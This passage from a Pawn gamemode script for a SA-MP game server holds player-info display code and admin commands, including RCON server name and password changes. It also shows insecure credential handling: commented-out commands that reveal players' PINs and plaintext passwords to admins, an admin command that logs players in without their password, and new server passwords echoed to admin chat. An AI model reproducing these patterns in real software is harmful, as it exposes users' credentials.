				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Don The Fast N Furious"; }

			}
			else if(PlayerInfo[target][pMember] == 15 || PlayerInfo[target][pLeader] == 15)//sm Family Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Don Storm Men"; }

			}
			else if(PlayerInfo[target][pMember] == 16 || PlayerInfo[target][pLeader] == 16)//TCC Ranks
			{
				if(PlayerInfo[target][pRank] == 1) { rtext = "Trainee"; }
				else if(PlayerInfo[target][pRank] == 2) { rtext = "Trainee"; }
				else if(PlayerInfo[target][pRank] == 3) { rtext = "Mechanic"; }
				else if(PlayerInfo[target][pRank] == 4) { rtext = "Senior Mechanic"; }
				else if(PlayerInfo[target][pRank] == 5) { rtext = "Manager"; }
				else if(PlayerInfo[target][pRank] == 6) { rtext = "Co-Leader"; }
				else if(PlayerInfo[target][pRank] == 7) { rtext = "Leader"; }
			}
			else
			{
				rtext = "None";
			}
			if(hackercheckcover == 2) rtext = "";
			// End Rank
			//new afk[40];
			//if(AFK[target] == 1 || AFKTime[target] > 70)  {afk = " (AFK)";}
			//if(AFK[target] == 0 && AFKTime[target] < 70)  {afk = "";}
if(InSleep[target] == 1)
{
			if(PINFO[target][pMember] == 0 && PINFO[target][pLeader] == 0)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(PINFO[target][pMember] == 7 || PINFO[target][pLeader] == 7)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(OnDuty[target] == 1)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
			}
			else
			{
			 if(HackerCovered[target] != 1)
			 {
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s {F9F7CE}(%s) | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
			  }
			 if(HackerCovered[target] == 1)
			 {
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (Sleep) | Faction: %s {F9F7CE}| FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (Sleep) | Faction: %s {F9F7CE}| FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (Sleep) | Faction: %s {F9F7CE}| FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
			  }
			}
}
if((AFK[target] == 1 || AFKTime[target] > 70) && InSleep[target] == 0)
{
			if(PINFO[target][pMember] == 0 && PINFO[target][pLeader] == 0)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(PINFO[target][pMember] == 7 || PINFO[target][pLeader] == 7)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(OnDuty[target] == 1)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
			}
			else
			{
			 if(HackerCovered[target] != 1)
			 {
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s {F9F7CE}(%s) | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s {F9F7CE}(%s) | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
			 }
			 if(HackerCovered[target] == 1)
			 {
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d (AFK) | Faction: %s {F9F7CE}| FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d (AFK) | Faction: %s {F9F7CE}| FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d (AFK) | Faction: %s {F9F7CE}| FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
			 }
			}
}
if((AFK[target] == 0 && AFKTime[target] < 70) && InSleep[target] == 0)
{
			if(PINFO[target][pMember] == 0 && PINFO[target][pLeader] == 0)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(PINFO[target][pMember] == 7 || PINFO[target][pLeader] == 7)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s{F9F7CE} | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
			if(OnDuty[target] == 1)
			{
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s {F9F7CE}(%s) (Duty) | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
			}
			else
			{
			 if(HackerCovered[target] != 1)
			 {
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d | Faction: %s {F9F7CE}(%s) | FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d | Faction: %s {F9F7CE}(%s) | FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s {F9F7CE}(%s) | FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,rtext,pFPS[target]);
				}
			 }
			 if(HackerCovered[target] == 1)
			 {
				if(PINFO[target][pClan] != 0) {
				if(DynamicClans[PINFO[target][pClan]-1][cBB] == 1) {
				format(sstring, sizeof(sstring), "ID:(%d) %s[%s]{F9F7CE}%s | Level: %d | Faction: %s {F9F7CE}| FPS: %d",target,DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				else if(DynamicClans[PINFO[target][pClan]-1][cBB] == 2) {
				format(sstring, sizeof(sstring), "ID:(%d) %s%s[%s] {F9F7CE}| Level: %d | Faction: %s {F9F7CE}| FPS: %d",target,PINFO[target][pName],DynamicClans[PINFO[target][pClan]-1][cColor],DynamicClans[PINFO[target][pClan]-1][cTag],PINFO[target][pLevel],ttext,pFPS[target]);
				}
				}
				else {
				format(sstring, sizeof(sstring), "ID:(%d) %s | Level: %d | Faction: %s {F9F7CE}| FPS: %d",target,PINFO[target][pName],PINFO[target][pLevel],ttext,pFPS[target]);
				}
			 }
			}
}
			
			return SendMessage(playerid, COLOR_YELLOW2, sstring);

		}





		//                                 RCONs by SiNaGaMeR






	   if(strcmp(cmd, "/ServerName", true) == 0 || strcmp(cmd, "/SvName", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(IsPlayerConnected(playerid))
	   tmp = strtokEx(cmdtext,idx);
	   if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /ServerName <Server Name>");
//	   new string[128];
	   format(string,sizeof(string),"hostname %s", tmp);
	   SendRconCommand(string);
	   format(string,sizeof(string), "{FF0000}[SERVER-INFO]:{00FF00} You've changed server name to:{FF00FF} %s{00FF00}.", tmp);
	   //SendClientMessage(playerid,COLOR_SINA2,string);
	   new admwarn[144];
	   format(admwarn,144,"{FFFFFF}Admin %s changed server name to:{FF00FF} %s{FFFFFF}.", PINFO[playerid][pName], tmp);
	   AdminWarn(admwarn);
	   return 1;
	   }





	   if(strcmp(cmd, "/ServerPassword", true) == 0 || strcmp(cmd, "/SvPassword", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 13) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(IsPlayerConnected(playerid))
	   tmp = strtok(cmdtext, idx);
//	   new string[128];
	   if(!strlen(tmp)) return SendClientMessage(playerid, COL_SYN, "Syntax: /ServerPassword <New Password>");
	   format(string,sizeof(string),"password %s", tmp);
	   SendRconCommand(string);
	   format(string,sizeof(string), "{FF0000}[SERVER-INFO]:{00FF00} You've changed server password to:{FF00FF} %s{00FF00}.", tmp);
	   //SendClientMessage(playerid,COLOR_SINA2,string);
	   new admwarn[144];
	   format(admwarn,144,"{FFFFFF}Admin %s changed server password to:{FF00FF} %s{FFFFFF}.", PINFO[playerid][pName], tmp);
	   AdminWarn(admwarn);
	   return 1;
	   }

	   if(strcmp(cmd, "/cna", true) == 0)
	   {
	   if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(PINFO[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
	   if(PINFO[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
	   if(PINFO[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
	   ClearNewName();
	   new ooff[144];
	   format(ooff,144,"{FFFFFF}Admin %s has cleared the newest account name on accountbar.", PINFO[playerid][pName]);
	   AdminWarn(ooff);
	   return 1;
	   }
// End of by SiNaGaMeR








			// /password key
/*
		if(strcmp(cmd, "/ppin", true) == 0)
	{
	   if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
	   if(IsPlayerConnected(playerid))
	   tmp = strtok(cmdtext, idx);
	   if(!strlen(tmp)) return SendClientMessage(playerid, COL_SYN, "Syntax: /ppin <PlayerID/PartOfName>");
	   new target = ReturnUser6(tmp);
	   if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
	   if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		new sstring[256];
		new svs[256];
		if(PINFO[target][pPinned] == 1)
	   {
	   format(sstring, sizeof(sstring), "%s's Pin is: ( {FFFFFF}%d%d%d%d{FFFF00} )",PlayerInfo[target][pName],PINFO[target][pPin1],PINFO[target][pPin2],PINFO[target][pPin3],PINFO[target][pPin4]);
	   SendClientMessage(playerid, COLOR_YELLOW, sstring);
	   }
	   else if(PINFO[target][pPinned] != 1)
	   {
	   format(svs, sizeof(svs), "%s's Pin is: ( {FFFFFF}No Pin Received{FFFF00} )",PlayerInfo[target][pName]);
	   SendClientMessage(playerid, COLOR_YELLOW, svs);
	   }
		new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s seen %s's pin.", PINFO[playerid][pName], PINFO[target][pName]);
	   //AdminWarn(sttrr);
	   return 1;
	}
	*/
	/*
		if(strcmp(cmd, "/pkey", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /pkey <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			new sstring[256];
			format(sstring, sizeof(sstring), "%s's Password is: ( {FFFFFF}%s{FFFF00} )",PlayerInfo[target][pName], PINFO[target][pKey]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s seen %s's password.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
		*/
		/*
		if(strcmp(cmd, "/pSPoint", true) == 0 || strcmp(cmd, "/SPoints", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /SPoints <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			new sstring[256];
			format(sstring, sizeof(sstring), "%s's Staff Points is: ( {FFFFFF}%d{FFFF00} )",PlayerInfo[target][pName], PINFO[target][pSPoint]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s seen %s's Staff Points.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
				if(strcmp(cmd, "/pPoint", true) == 0 || strcmp(cmd, "/Points", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 5) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /Points <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			new sstring[256];
			format(sstring, sizeof(sstring), "%s's Shop Points is: ( {FFFFFF}%d{FFFF00} )",PlayerInfo[target][pName], PINFO[target][pPoint]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s seen %s's Shop Points.", PINFO[playerid][pName], PINFO[target][pName]);
		  //AdminWarn(sttrr);
			return SendMessage(playerid, COLOR_YELLOW, sstring);
		}
		*/
		/*
	   if(strcmp(cmd, "/myping", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(GetPlayerPing(playerid) < 61)
				{
					format(string, sizeof(string), "~w~PING:~g~%d",GetPlayerPing(playerid));
					GameTextForPlayer(playerid, string, 5000, 3);
				}
				else if(GetPlayerPing(playerid) > 60)
				{
					format(string, sizeof(string), "~w~PING:~R~%d",GetPlayerPing(playerid));
					GameTextForPlayer(playerid, string, 5000, 3);
				}
			}
			return 1;
		}
		*/
		
		
		
		
		
		
		
		
		
			if(strcmp(cmd, "/login", true) == 0)
			{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /Login <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(onnlogin[target] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't on login dialog.");
		  if(gPlayerLogged[target] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player is logged in before.");
			if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			LoadAccount(target);
			new sstring[256];
			format(sstring, sizeof(sstring), "You've logged {FF0000}%s{F9F7CE} in to server.",PlayerInfo[target][pName]);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s has been logged %s in to server.", PINFO[playerid][pName], PINFO[target][pName]);
		  AdminWarn(sttrr);
		  new pin[1024];
		  format(pin, sizeof(pin), "Logged in successfully!");
		  ShowPlayerDialog(target, 6462, DIALOG_STYLE_MSGBOX,"Login", pin,"Done", "");
			return SendMessage(playerid, COLOR_YELLOW2, sstring);
			}
		
		
		
		
		
		

		
		if(strcmp(cmd,"/Checkav",true)==0)
		{
			if(PINFO[playerid][pAdmin] < 6 && PlayerInfo[playerid][pSponser] == 0 && PINFO[playerid][pHlp] == 0 && PINFO[playerid][pSlp] == 0 && PINFO[playerid][pAlp] == 0 && PINFO[playerid][pMlp] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /checkav <Playerid/PartOfName>");
			new target = ReturnUser6(tmp);
			if(!IsPlayerConnected(target)) return SCM(playerid, COLOR_YELLOW2, "Error: Player isn't connected.");
			if(PINFO[playerid][pAdmin] < PINFO[target][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
			new sstring[144];
